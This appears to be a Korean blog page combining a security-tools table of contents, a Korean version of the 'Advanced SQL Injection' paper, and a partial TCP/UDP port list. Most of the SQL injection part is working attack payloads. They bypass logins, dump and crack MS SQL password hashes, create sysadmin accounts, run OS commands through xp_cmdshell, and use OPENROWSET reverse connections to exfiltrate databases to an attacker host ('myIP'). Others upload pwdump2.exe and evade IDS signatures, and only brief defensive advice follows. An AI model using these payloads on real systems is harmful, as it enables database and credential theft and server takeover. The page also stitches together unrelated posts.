Security Test Tools for Web Applications


1. Web applications and their security problems

2. The Test Applications

3. Security Check Tools: Capabilities, Limitations, practical Tips

4. Free Tools

5. Watchfire AppScan Audit

6. SPI WebInspect

7. Acunetix Web Vulnerability Scanner

8. Tools not evaluated

9. Comparison Table for Commercial Tools

10. Useful Auxiliary Tools

11. Conclusion

12. Further Information

2009/08/26 17:43 2009/08/26 17:43

Advanced SQL Injection

 

 

                  Written by Osiris Thomas

 

 


 

 

1 개요

SQL은 Structured Query Language의 표준이며, 사용자에게 데이터 베이스를 접근 할 수 있게 해준다. 현재 대부분 SQL99가 SQL Language의 표준이다. SQL은 DB에 대한 Query를 실행 시킬 수 있고, DB로부터 수정/검색/삽입/삭제/업데이트 할 수 있다.

 

 

1.1 SQL Query

SQL Language에는 많은 다른 버전이 있지만, 거의 비슷한 키워드의 명령어를 지원한다.(예: SELECT,UPDATE,DELETE,INSERT,WHERE 등) 대부분의 SQL 데이터베이스 프로그램은 SQL 표준 외에 그들 자신만의 확장된 언어를 가지고 있다. 관계형 데이터베이스는 하나 또는 그 이상의 테이블을 포함하고, 각각의 이름을 가진다. 테이블은 레코드단위로 데이터를 가진다.

) 아래의 테이블 명은 “user”이고 행과 열로서 데이터가 저장된다.

userID

Name

LastName

Login

Password

1

John

Smith

jsmith

hello

2

Adam

Taylor

adamt

qwerty

3

Daniel

Thompson

dthompson

dthompson

 

▪ 데이터 베이스로 SQL Query를 보내서, 결과 값을 되돌려 받을 수 있다. 위의 테이블을 이용해서 다음과 같은 Query를 사용 할 수 있다.

 

a) SELECT LastName FROM users WHERE UserID = 1;

b) 결과 값(레코드 셋)

LastName

Smith

 

 

1.2 DML & DLL

Data Manipulation Language(데이터 조작어) : SELECT ,UPDATE ,INSERT INTO DELETE와 같이 데이터를 조작하는 언어를 뜻 한다.

Data Definition Language(데이터 정의어) : 데이터 정의어로서 데이터베이스 테이블을 생성/삭제 하고, 인덱스(키)를 정의, 테이블 사이의 관계를 설정 하며, 데이터베이스 테이블 사이의 제약 조건을 설정한다.

) CREATE TABLE, ALTER TABLE, DROP TABLE등과 같은 구문

 

 

1.3  Metabata

대부분의 SQL 데이터베이스들은 관계형 데이터베이스 기반이다. SQL Injection을 위한 중요한 사실은 관계형 데이터 베이스는 Codd의 12법칙 중에서 4법칙을 확실히 따르고 있다는 것이다. 제4법칙 : 메타데이터(데이터베이스에 관한 데이터)는 반드시 일반적인 데이터들처럼 데이터베이스에 저장 되어야 한다. 또한 데이터 베이스구조는 SQL Query문을 통해서 읽거나 수정 할 수 있다

 

 

1.4 웹 어플리케이션

데이터베이스 엔진에 삽입하는 SQL 명령들은 애플리케이션을 통해 이용 가능하다. 이것은 오늘날의 대부분의 공통적인 웹사이트의 취약점 중에 하나이다. 이것은 Web Application의 발전에 따른 것이고, DB나 Web Server의 문제가 아니다. 대부분의 프로그래머들은 여전히 이 문제를 인식하지 못한다. 많은 지침서와 데모 템플릿이 취약 하다. 심지어 인터넷에 게시된 많은 솔루션들도 좋지 못하다. 모의 해킹을 의뢰한 60%가 넘는 고객의 시스템이 SQL Injection에 취약하다는 결과를 내놓는다. 대부분의 SQL 데이터베이스들 그리고 프로그래밍 언어들은 잠재적으로 취약하다. DBMS는 MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix 등이 이다.

 

애플리케이션을 통한 데이터베이스 접근 방법

Perl and CGI scripts

ASP, JSP, PHP

XML, XSL and XSQL

no_javascript

VB, MFC, and other ODBC-based tools and APIs

DB specific Web-based applications and API’s

Reports and DB Applications

3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)

 

 

1.5 일반적인 취약한 로그인 쿼리

SELECT * FROM users WHERE login = 'victor' AND password = '123'

 

1) ASP/MS SQL Server 로그인 문법

var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

 

a)문자를 통한 Injection

formusr = ' or 1=1 – –

formpwd = anything

 

b) 최종 쿼리 결과

SELECT * FROM users WHERE username = ' ' or 1=1 – – AND password = 'anything'

 

2) PHP/MySQL 로그인 문법

$sql = "SELECT * FROM clients WHERE account = $formacct  AND pin = $formpin";

 

a) 숫자 입력 필드에 삽입

$formacct = 1 or 1=1 #

$formpin = 1111

 

b) 최종 쿼리 결과

SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111

 

2 SQL Injection 테스트 방법론 


 


1) 입력 값 검증

취약점은 어디든지 생길 수 있고, 아래의 사항을 모두 체크 해야 한다.

a) 웹 폼의 필드

b) URL 쿼리 스트링의 스크립트 파라미터 값

c) 쿠키 또는 히든 필드에 저장된 값

d) 아래의 문자열을 모든 입력 필드에 테스트해야 한다.

 

▪ 문자 : ' " ) # || + >

SQL Query 명령을 공백(구분자)과 같이:

%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec)

▪ 지연 쿼리:' waitfor delay '0:0:10'--

 

 

2) 정보 수집

아래의 항목들을 알아내려고 시도해야 한다.

 

a) 출력 메커니즘 연구하기

1. 웹 애플리케이션의 쿼리 결과 값을 이용한다.

2. 에러 메시지 : 에러 메시지로부터 입력 값 검증을 유추 할 수 있다.

3. Blind SQL Injection : 시간의 지연 또는 에러 메시지를 사용하여 정보를 추출한다. Blind SQL Injection은 SQL Injection과 거의 비슷하지만, 많은 Query를 통해서 정보가 수집해야 되고, 또한 필드 값이나 테이블명과 같은 정보를 추측해야 하므로, 매우 느리고 더욱 어렵다.

 

■ 에러 메시지를 통해서 정보 추출 하기

i. 그룹 핑 에러

' group by columnnames having 1=1 - -

 

ii. 타입의 불일치

' union select 1,1,'text',1,1,1 - -

' union select 1,1, bigint,1,1,1 - -

 

iii. 더 좋은 방법으로, DB에서 하위 Query를 이용 한다.

' and 1 in (select 'text' ) - -

 

iv. 데이터를 CAST또는 CONVERT연산자를 이용한 에러메시지 도출도 필요하다.

 

Blind Injection

i. 출력 시 나오는 다른 출력 값을 이용

' and condition  and '1'='1

 

ii. IF문을 사용

'; if condition  waitfor delay '0:0:5' --

'; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;

 

iii. 추가적으로 우리는 모든 타입의 Query를 실행 할 수 있지만, 출력된 정보에 대해 디버깅할 수는 없다. 우리는 단지 yes/no 응답을 얻을 수 있다. 또한, 특정 필드의 데이터에 대한 ASCII값을 추출 할 수 있다. 매우 까다로운 작업이지만, SQueaL과 같은 자동화된 툴도 있다.

 

b) 쿼리의 이해

i. SELECT 명령문 - 대부분의 Injection은 SELECT 명령을 이용한다.

SELECT  * FROM table WHERE x = 'normalinput' group by x having 1=1 --

GROUP BY x HAVING x = y ORDER BY x

 

ii. UPDATE 명령문 – 아래와 같이 웹 애플리케이션에서 당신의 패스워드 부분을 수정 할 수 있다.

UPDATE users    SET password = 'new password'  WHERE login = logged.user
AND password = 'old password'

 

c) 데이터베이스 타입의 결정

대부분의 경우 에러 메시지는 어떤 DB엔진을 사용하는지 출력 한다. ODBC에러는 DB 타입 (드라이브 정보의 부분으로써)을 나타낸다. 만약에 ODBC 에러가 발생하지 않으면, 어떤 OS와 Web Sever를 사용하지를 추측해야 하거나 특별한 DB문자, 명령어, 저장된 프로시저를 통한 에러 메시지를 사용해야 한다.

 

DBMS별 차이점 (1)



 

DBMS별 차이점 (2)

 


 

d) 사용자의 권한 레벨을 알아 낸다.

i. 사용자의 권한 레벨을 알아 내기 위해서는 대부분의 SQL에서 구현되는 SQL99 내장된 아래와 같은 기능을 가지고 있다.

user  or current_user

session_user

system_user

' and 1 in (select user ) --

'; if user ='dbo' waitfor delay '0:0:5 '--

' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );

 

ii. 기본 관리자 계정

sa, system, sys, dba, admin, root 등

 

iii. MS SQL 에서 dbo는 매핑 되어 있다. 사용자 dbo는 DB에서 모든 활동을 수행할 수 있는 권한을 가지고 있다. 서버의 고정된 규정에 의하면 Sysadmin의 DB를 사용하는 어떤 유저는 각 DB에서 dbo라고 불리는 특별한 사용자에게 매핑 되어 있다. 또한 sysadmin의 어떤 사용자에 의해 만들어진 객체는 자동적으로 dbo를 가진다.

 

e) OS interaction 레벨을 결정

 

3) 1=1 Attacks

 데이터 베이스, 쿼리구조, 권한에 관한 정보를 알게 되면, 공격이 가능해 진다.

 

a) 테이블에 정의된 사용자를 열거하는 Query

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

 

b) DB에서 테이블 컬럼명을 열거하는 쿼리

MS SQL

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ')

sp_columns tablename (this stored procedure can be used instead)

MySQL

show columns from tablename

 

Oracle

SELECT * FROM all_tab_columns WHERE table_name='tablename '

DB2

SELECT * FROM syscat.columns WHERE tabname= 'tablename '

Postgres

SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename '
AND pg_class.oid=attrelid AND attnum > 0

 

c) 모든 테이블과 컬럼명을 하나의 Query로 질의 하기

' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1  from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --

 

d) 서버에서 다른 데이터베이스 질의 하기

' and 1 in (select min(name ) from  master.dbo.sysdatabases where name >'.' ) --

 

e) 데이터 베이스의 파일 위치 질의 하기

' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --

 

d) 각 DBMS별 시스템 테이블

MySQL

MS SQL Server

Oracle

MS Access

mysql.user

mysql.host

mysql.db

 

sysobjects

syscolumns

systypes

sysdatabases

 

SYS.USER_OBJECTS

SYS.TAB

SYS.USER_TEBLES

SYS.USER_VIEWS

SYS.ALL_TABLES

SYS.USER_TAB_COLUMNS

SYS.USER_CATALOG

MsysACEs

MsysObjects

MsysQueries

MsysRelationships

 

 

e) 사용자가 정의된 테이블에서 사용자이름과 패스워드 추출하기

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' '

 from users where login>@var select @var as var into temp end --

' or 1 in (select var from temp) --

' ; drop table temp --

 

f) 데이터베이스에 계정 생성하기

MS SQL

exec sp_addlogin ' victor ', 'Pass123'

exec sp_addsrvrolemember 'victor', 'sysadmin'

MySQL

INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD(' Pass123'))

Access

CREATE USER victor IDENTIFIED BY ' Pass123'

Postgres (requires UNIX account)

CREATE USER victor WITH PASSWORD ' Pass123'

Oracle

CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;

GRANT CONNECT TO victor;

GRANT RESOURCE TO victor;

 

g) MS SQL Server 해쉬값 추출하기

i. 간단한 방법

SELECT name, password FROM master..sysxlogins

 

ii. 패스워드 해쉬값 추출하기

SELECT password FROM master..sysxlogins


 

   ii. 해쉬값이 2진수(binary)이므로 16진수(hex)로 변환한다.

begin @charvalue='0x', @i=1, @length=datalength(@binvalue),

@hexstring = '0123456789ABCDEF'

while (@i<=@length) BEGIN

declare @tempint int, @firstint int, @secondint int

select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1))
select @firstint=FLOOR(@tempint/16) 
select @secondint=@tempint - (@firstint*16)
select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +

SUBSTRING (@hexstring, @secondint+1, 1) 

select @i=@i+1  END

 

   iii. 한번에 실행하는 명령어

'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin  declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16)  select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1)  select @i=@i+1  end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end –

 

   vi. 에러 메시지를 통해서 해쉬 값 추출하기

' and 1 in (select x from temp) --

' and 1 in (select substring (x, 256, 256) from temp) --

' and 1 in (select substring (x, 512, 256) from temp) --

' drop table temp --

 

 

 

 

 

 


 

   v. 패스워드 무작위 대입

SQL 패스워드 크랙 스크립트

create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0

drop table tempdb..passwords

 


 

   vi. DB구조와 데이터 전송하기

만약에 네트워크 연결이 되어 있으면 80번 포트를 통해서 리버스 연결이 성립 할 수 있고, 모든 DB가 우리의 로컬 SQL 서버에 전송 할 수 있다. 데이터 베이스의 메타데이터 전송으로 로컬 SQL 서버에 동일한 DB구조를 생성 할 수 있다.

Step 1. 로컬 SQL서버에 Victim과 동일한 DB구조 생성

 

'; insert into
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')
select * from master.dbo.sysdatabases --

'; insert into                                                  
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')                  
select * from user_database.dbo.sysobjects --

'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_syscolumns')
select * from user_database.dbo.syscolumns --

 


 

step 2. 데이터를 DB 테이블을 아래의 방법을 통하여 쉽게 전송 할 수 있다.

'; insert into

OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table1')

select * from database..table1 --

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table2')

select * from database..table2 --

 


 

5) OS Interaction

OS Interaction에는 두 가지 방법이 있는데, 명령어를 읽기/실행 가능성은 DB엔진과 DB 설정에 달려있다. 두 가지 경우모두 권한이 DB 엔진 관리자에게 제한 되어있다. 만약 우리가 파일을 읽기/쓰기 가능하면, 우리는 패스워드와 설정 정보가 들어 있는 DB파일을 변경 할 수 있다. 또한 우리가 OS 명령어를 실행 할 수 있으면, 무엇이든지 할 수 있다.

 

a) MySQL OS Interaction

 

i. LOAD_FILE

' union select 1,load_file('/etc/passwd'),1,1,1;

 

 


 

ii. LOAD DATA INFILE

create table temp( line blob );

load data infile '/etc/passwd' into table temp;

select * from temp;

 

 

 

 


 

iii. SELECT INTO OUTFILE

 

b) MS SQL OS Interaction

'; exec master..xp_cmdshell 'ipconfig > test.txt' --

'; CREATE TABLE tmp (txt varchar(8000));  BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,256) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

 


 

▪ 웹 서버에서 DB에 접근 하는 구조

대부분의 경우 웹 서버와 DB서버는 같지 않고, DB서버는 Internet에 연결 되어 있지 않아도 애플리케이션 서버를 통해서 명령을 실행 할 수 있다.

 

 

 

 

 


▪ 네트워크 연결에 접근

i. 서버 이름을 에러 메시지로 출력하기

' and 1 in (select @@servername ) --

' and 1 in (select srvname from master..sysservers ) --

 

 

 


 

ii. Reverse lookups를 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'nslookup a.com MyIP' --

 

 


 

iii. Revers ping을 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'ping MyIP' --

 

 

 

 

iv. OPENROWSET

'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;',
'select * from table')

 

 

 

 

▪ 네트워크 예비 점검

i. 확장 프로시저 xp_cmdshell를 이용하여 아래의 명령을 실행

Ipconfig /all

Tracert  myIP

arp -a

nbtstat -c

netstat -ano

route print

 

 

 

 

 

 

 

 

ii. 네트워크 예비 점검 전체 Query

'; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --

'; CREATE TABLE tmp (txt varchar(8000));  BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,255) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

 


 

 

6) OS 명령 프롬프트

i. OS로 점프하기

Linux based MySQL

' union select 1, (load_file('/etc/passwd')),1,1,1;

MS SQL Windows Password Creation

'; exec xp_cmdshell 'net user /add victor Pass123'--

'; exec xp_cmdshell 'net localgroup /add administrators victor' --

Starting Services

'; exec master..xp_servicecontrol 'start','FTP Publishing' --

 

 

 

 

 

 

 

 

 


 

ii. ActiveX 자동 스크립트 이용

Speech example

'; declare @o int, @var int                                    
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'x', 'x'
exec sp_oasetproperty @o, 'speed', 150            
exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1
waitfor delay '
00:00:03' --

 


 

iii. 레지스트리로부터 VNC 패스워드 찾기

'; declare @out binary(8)
exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password',
@value = @out output
select cast(@out as bigint) as x into TEMP--

' and 1 in (select cast(x as varchar) from temp) --

 

 

 

 

 

 

 

 

 


 


7) 확장된 효과

▪ 다른 DB서버에 연결 하기

 

i. MS SQL에 링크된 서버를 찾기

select * from sysservers

 

 

 

 

 

ii. OPENROWSET 명령을 사용하여 쉽게 다른 서버를 접근 할 수 있다.

 

iii. 같은 전략으로 OPENROWSET을 이용한 리버스 연결로 쉽게 접근 할 수 있다.

 

▪ 링크된 서버에도 접속이 가능하다.

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_sysservers')

select * from master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysservers')

select * from LinkedServer.master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysdatabases')

select * from LinkedServer.master.dbo.sysdatabases

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


 

▪ 저장된 프로시저를 통한 원격 접속 실행

만약에 원격 서버에 저장된 프로시저 실행이 허용되어 있다면 가능할 것이다.

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *

from mydatabase..hacked_sysservers')

exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers'

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from

mydatabase..hacked_sysdatabases')

exec Linked_Server.master.dbo.sp_executesql N'select * from

master.dbo.sysdatabases'

 

 

 

 

 

 

 

 

 

 

 

 

 

 


 

Reverse 연결을 통한 파일 업로드

'; create table AttackerTable (data text) --

'; bulk insert AttackerTable --
from 'pwdump2.exe' with (codepage='RAW')

'; exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo','  MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --

'; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123' --

 


 

SQL Injection 통한 파일 업로드

만약 DB서버가 인터넷 연결이 되지 않더라도, 여전히 파일은 업로드 될 수 있다. 그러나 파일은 반드시 16진수 그리고 Query 문자의 일부로 보내어 져야만 한다. 파일은 반드시 각 4000 byte로 나누어 져야 한다.

 

) 간단한 SQL Injection 파일 업로드

Step 1. 먼저 원격에서 hex를 binary로 변환 해줄 프로시저가 injection되어야 한다.

Step 2. 다음 binary를 hex 조각으로 Injection 해야 한다.

 

' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000…
← 8000개의  hex 문자(4000byte) →…0000000000000000000
' exec master..sp_hex2bin @hex, @bin output ; insert master..pwdump2 select @bin --

 


 

Step 3. binary를 연결시키고, 파일을 디스크에 저장 할 수 있다

 

 

3 회피 기술

 

3.1 개요.

입력 값 검증 우회 그리고 IDS 우회 기술은 매우 비슷하다. Snort 기반의 SQL Injection 탐지는 부분적으로 가능하다. 그러나 이것은 “sinatures”에 의존한다. ”signatures”은 쉽게 피할 수 있다. 입력 값 검증, IDS 탐지 그리고 견고한 DB, OS 설정은 반드시 같이 사용 되어져야 한다.

 

3.2 IDS “signature” 우회

 

1) ‘OR 1=1 “signature”우회하기

 아래와 같은 문자를 삽입해서 우회 할 수 있다.

' OR 'unusual' = 'unusual'

' OR 'something' = 'some'+'thing'

' OR 'text' = N'text'

' OR 'something' like 'some%'

' OR 2 > 1

' OR 'text' > 't'

' OR 'whatever' IN ('whatever')

' OR 2 BETWEEN 1 AND 3

 

 

 

 

 

 

 

 

 


 

3.3 입력 값 검증 우회 하기

PHP addslashes() 함수를 사용하는 사람은 문자열을 벗어 날수 있다.

single quote (')

double quote (")

backslash (\)

NUL (the NULL byte)

 

 

 

 

 


 

▪ 숫자 필드에서 위의 문자로 대체 함으로써 쉽게 우회 가능하다.

 

3.4 회피와 우회

 

i. 아래의 매개변수 인코딩 방법으로 IDS, 입력 값 검증을 우회 할 수 있다.

URL encoding

Unicode/UTF-8

Hex enconding

char() function

 

 

 

 

 


 

ii. MySQL 입력 값 검증은 Char()를 사용함으로써 우회 할 수 있다.

 인용 부호를 제외한 Inject  (string = "%"):

' or username like char(37);

▪ 인용 부호를 제외한 Inject (string = "root"):

' union select * from users where login = char(114,111,111,116);

Load files을 이용한 unions 사용 (string = "/etc/passwd"):

' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

▪ 존재하는 파일을 체크(string = "n.ext"):

' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

 


 

iii. 공백을 이용한 IDS Sinature 우회

UNION SELECT Signature와 UNION[탭]SELECT signature은 다르게 인식된다

▪ 탭, 캐리지 리턴, 라인 피드, 공백이 주로 이용 된다.

▪ 몇몇 IDS 는 공백처리를 무시하므로 공백을 생략하는 것이 좋은 방법이 될 수도 있다.

'OR'1'='1' (공백 없이) 은 에러 없이 처리 되어 진다.

 

iv. 주석 처리를 이용한 IDS Signature 회피

 /* … */ 은 SQL99에서 여러 줄 을 주석 처리 할 때 사용되는 기호 이다

UNION/**/SELECT/**/

'/**/OR/**/1/**/=/**/1

▪ 여러 개의 필드에 걸친 Injection을 허용한다

USERNAME:  ' or 1/*

PASSWORD:  */ =1

 

 

 

 

 

 

 

 


 

v. 스트링 연결자를 이용한 IDS Signature 우회 

▪ 아래와 같이 텍스트 연결 할 수 있고, 특정한 DB 명령을 사용 할 수 있다.

My SQL

UNI/**/ON SEL/**/ECT

Oracle

'; EXECUTE IMMEDIATE  'SEL' || 'ECT US' || 'ER'

MS SQL

'; EXEC ('SEL' + 'ECT US' + 'ER')

 

 

 

 

 

 

 

 


 

vi. 변수를 이용하여 IDS, 입력 값 검증 우회 하기

▪ 변수를 이용

; declare @x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER');

EXEC (@x)

EXEC SP_EXECUTESQL @x

▪ 헥사를 이용

; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x)

위의 명령어는 (‘)를 사용하지 않았다.

 

 

 

 

 

 

 

 

 

 

 

 


 

4 SQL Injection 대응 방안

4.1 개요

간단한 방법으로 입력 값 검증은 가장 중요한 부분 중에 하나 이다. 당신은 반드시 입력 값 검증을 모든 새로운 애플리케이션에 실시해야 한다. 그리고 당신은 존재하는 코드와 웹사이트를 조사해 봐야 한다. 추가적으로 서버를 견고하게 운영해야 한다. 데이터 베이스의 데이터 접근을 저장된 프로시저를 통하여 접근하고, 저장된 프로시저를 사용할 때 매개변수화 된 API를 이용하라. 모든 입력 값 검증은 일반적인 루틴을 이용하고, 최소한의 권한을 DB 사용자 에게 적용하라.

1) 입력 값 검증

각 필드를 위한 데이터 타입의 정의 되고, 정의된 타입만 허용 되어야 한다. 그리고 입력된 값의 검증을 위해서 필터를 사용해야 한다. 알려진 Injection 문자열에 대한 필터는 철저히 구현 되여야 한다. 아래와 같은 문자열은 반드시 제거 되어야 한다.

) “"select", "insert", "update", "shutdown", "delete", "drop", "--", "'"

2) 서버를 견고하게 운영하기

1. DB 최소권한의 유저로 운영하라.

2. 사용하지 않는 저장된 프로시저와 기능들은 제거하거나 관리자에게 제한된 접근 권한을 주어라.

3. 퍼미션을 변경하고, 공개된 시스템 객체에 접근을 제거 하라.

4. 모든 사용자 계정의 패스워드를 강화 시켜라

5. 미리 승인된 서버의 링크를 제거 하라.

6. 사용하지 않는 네트워크 프로토콜을 제거하라.

7. 신뢰할 수 있는 네트워크,웹 서버, 백업 서버만 접근을 허용하라.

 

4.2 탐지 및 제한시키기

SQL Injection 시도에 대한 탐지 원한다면, SQL Injection 시도를 로그에 남기고, 이 메일로 경고장을 보내고, IP차단 하고, 올바르지 않은 에러 메시지를 보내도록 설정하라. 이것들은 검증 스크립트에 코드와 되어야 한다.

 

4.3 결론

    SQL Injection 은 매혹적이고, 아주 위험한 취약점이다. 모든 프로그램 언어 그리고 SQL DB는 잠재적인 취약점을 가지고 있다. 보호 하기 위해서는 강력한 디자인, 정확한 입력 값 검증, 견고하게 서버를 운영 해야 한다.

 

참조자료 및 문서

[1] Advanced SQL Injection, (http://www.owasp.org).

출처 osiris kisec 14th

2009/08/26 17:42 2009/08/26 17:42

Port Knowledgebase

List of frequently seen TCP and UDP ports and what they mean. The goal of this port table is to point to further resources for more information.


0
1 tcpmux
3
4
5 rje
7 echo
9 discard
11 systat
13 daytime
15 netstat
17 qotd
18 send/rwp
19 chargen
20 ftp-data
21 ftp
22 ssh, pcAnywhere
23 Telnet
25 SMTP
27 ETRN
29 msg-icp
31 msg-auth
33 dsp
37 time
38 RAP
39 rlp
40
41
42 nameserv, WINS
43 whois, nickname
49 TACACS, Login Host Protocol
50 RMCP, re-mail-ck
53 DNS
57 MTP
59 NFILE
63 whois++
66 sql*net
67 bootps
68 bootpd/dhcp
69 Trivial File Transfer Protocol (tftp)
70 Gopher
79 finger
80 www-http
87
88 Kerberos, WWW
95 supdup
96 DIXIE
98 linuxconf
101 HOSTNAME
102 ISO, X.400, ITOT
105 cso
106 poppassd
109 POP2
110 POP3
111 Sun RPC Portmapper
113 identd/auth
115 sftp
116
117 uucp
118
119 NNTP
120 CFDP
123 NTP
124 SecureID
129 PWDGEN
133 statsrv
135 loc-srv/epmap
137 netbios-ns
138 netbios-dgm (UDP)
139 NetBIOS
143 IMAP
144 NewS
150
152 BFTP
153 SGMP
156
161 SNMP
175 vmnet
177 XDMCP
178 NextStep Window Server
179 BGP
180 SLmail admin
199 smux
210 Z39.50
213
218 MPP
220 IMAP3
256
257
258
259 ESRO
264 FW1_topo
311 Apple WebAdmin
350 MATIP type A
351 MATIP type B
360
363 RSVP tunnel
366 ODMR (On-Demand Mail Relay)
371
387 AURP (AppleTalk Update-Based Routing Protocol)
389 LDAP
407 Timbuktu
427
434 Mobile IP
443 ssl
444 snpp, Simple Network Paging Protocol
445 SMB
458 QuickTime TV/Conferencing
468 Photuris
475
500 ISAKMP, pluto
511
512 biff, rexec
513 who, rlogin
514 syslog, rsh
515 lp, lpr, line printer
517 talk
520 RIP (Routing Information Protocol)
521 RIPng
522 ULS
531 IRC
543 KLogin, AppleShare over IP
545 QuickTime
548 AFP
554 Real Time Streaming Protocol
555 phAse Zero
563 NNTP over SSL
575 VEMMI
581 Bundle Discovery Protocol
593 MS-RPC
608 SIFT/UFT
626 Apple ASIA
631 IPP (Internet Printing Protocol)
635 mountd
636 sldap
642 EMSD
648 RRP (NSI Registry Registrar Protocol)
655 tinc
660 Apple MacOS Server Admin
666 Doom
674 ACAP
687 AppleShare IP Registry
700 buddyphone
705 AgentX for SNMP
901 swat, realsecure
993 s-imap
995 s-pop
999
1024
1025
1050
1062 Veracity
1080 SOCKS
1085 WebObjects
1100
1105
1114
1227 DNS2Go
1234
1243 SubSeven
1338 Millennium Worm
1352 Lotus Notes
1381 Apple Network License Manager
1417 Timbuktu
1418 Timbuktu
1419 Timbuktu
1420
